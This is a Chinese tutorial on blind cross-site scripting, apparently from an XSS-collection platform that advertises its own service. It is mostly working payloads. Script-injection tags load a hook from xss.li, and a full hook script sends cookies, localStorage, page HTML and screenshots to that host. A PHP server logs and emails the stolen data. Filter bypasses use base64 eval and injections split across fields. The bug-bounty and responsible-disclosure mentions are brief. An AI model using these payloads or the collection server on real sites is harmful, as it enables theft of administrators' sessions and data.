一、什么是盲XSS
盲XSS(Blind XSS)是指攻击者提交恶意Payload后,无法立即在当前页面看到执行结果,而是在管理员访问后台或其他页面时触发的XSS攻击。
1.1 盲XSS的特点
- 延迟触发:可能数小时甚至数天后才执行
- 隐蔽性强:攻击者无法直接观察到结果
- 高危害性:通常在后台管理系统触发
- 需要监控:必须搭建接收平台
1.2 常见触发场景
// 场景1:用户留言被管理员查看
用户提交: <script src="https://xss.li/blind.js"></script>
管理员打开后台查看留言 → 触发XSS
// 场景2:订单备注
客户填写订单备注包含Payload
商家在后台查看订单 → 触发XSS
// 场景3:日志系统
User-Agent中注入Payload
运维人员查看日志 → 触发XSS
二、盲XSS Payload构造
2.1 基础盲XSS Payload
// 远程加载脚本
<script src="https://xss.li/hook.js"></script>
// 图片标签
<img src=x onerror="var s=document.createElement('script');s.src='https://xss.li/hook.js';document.body.appendChild(s)">
// 使用noscript绕过某些过滤
<noscript></noscript><script src="https://xss.li/hook.js"></script>
2.2 完整的盲XSS Payload
// hook.js 内容
(function(){
var data = {
url: document.location.href,
cookie: document.cookie,
html: document.documentElement.outerHTML,
localStorage: JSON.stringify(localStorage),
userAgent: navigator.userAgent,
timestamp: new Date().toISOString()
};
// 发送数据到攻击者服务器
fetch('https://xss.li/api/blind-report', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(data)
});
// 截图(如果支持)
if(typeof html2canvas !== 'undefined'){
html2canvas(document.body).then(canvas => {
canvas.toBlob(blob => {
const formData = new FormData();
formData.append('screenshot', blob);
fetch('https://xss.li/api/screenshot', {
method: 'POST',
body: formData
});
});
});
}
})();
2.3 多协议盲XSS
<!-- HTTP/HTTPS双协议支持 -->
<script src="//xss.li/hook.js"></script>
<!-- 使用Data URI -->
<script src="data:text/javascript,fetch('https://xss.li/report?url='+encodeURIComponent(location.href))"></script>
三、盲XSS平台搭建
3.1 简易接收服务器(PHP)
<?php
// blind-report.php
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/json');
$data = json_decode(file_get_contents('php://input'), true);
$logFile = 'blind_xss_' . date('Y-m-d') . '.log';
file_put_contents($logFile,
date('[Y-m-d H:i:s] ') . json_encode($data, JSON_PRETTY_PRINT) . PHP_EOL,
FILE_APPEND
);
// 发送邮件通知
mail('your@email.com', 'Blind XSS Triggered!', json_encode($data));
echo json_encode(['status' => 'ok']);
?>
3.2 使用XSS Hunter
XSS Hunter是专门用于盲XSS的开源平台:
// 注册XSS Hunter账号后使用提供的Payload
<script src="https://your-username.xss.ht"></script>
3.3 使用本平台
蓝莲花XSS平台提供完整的盲XSS监控功能:
- 自动记录触发时间和环境
- 截图功能
- 邮件/Telegram通知
- 详细的上下文信息
四、盲XSS挖掘技巧
4.1 寻找注入点
- 用户反馈/留言系统
- 订单备注字段
- 支持工单系统
- 简历上传系统
- 日志记录(User-Agent、Referer)
- 文件名/文件元数据
- API错误信息
4.2 绕过技巧
// 使用多层编码
<img src=x onerror="eval(atob('ZmV0Y2goJ2h0dHBzOi8veHNzLmxpJyk='))">
// 分段注入
在多个字段中分别注入:
字段1: <script>
字段2: var s=document.createElement('script');
字段3: s.src='https://xss.li/hook.js';document.body.appendChild(s)
字段4: </script>
实战建议
1. 使用唯一标识:在Payload中加入唯一ID以区分不同测试点
2. 耐心等待:盲XSS可能需要数天才触发
3. 多点布局:在所有可能的输入点都尝试
4. 保持低调:避免破坏性Payload
五、真实案例
5.1 Shopify盲XSS($500赏金)
研究员在商店名称字段注入盲XSS,当Shopify员工查看商店信息时触发,获得管理员Cookie。
5.2 Facebook盲XSS
通过在页面名称中注入,当Facebook审核人员查看待审核页面时触发。
总结
盲XSS是高级XSS技术,需要:
- 搭建可靠的监控平台
- 耐心等待触发
- 覆盖所有可能的输入点
- 遵守负责任披露原则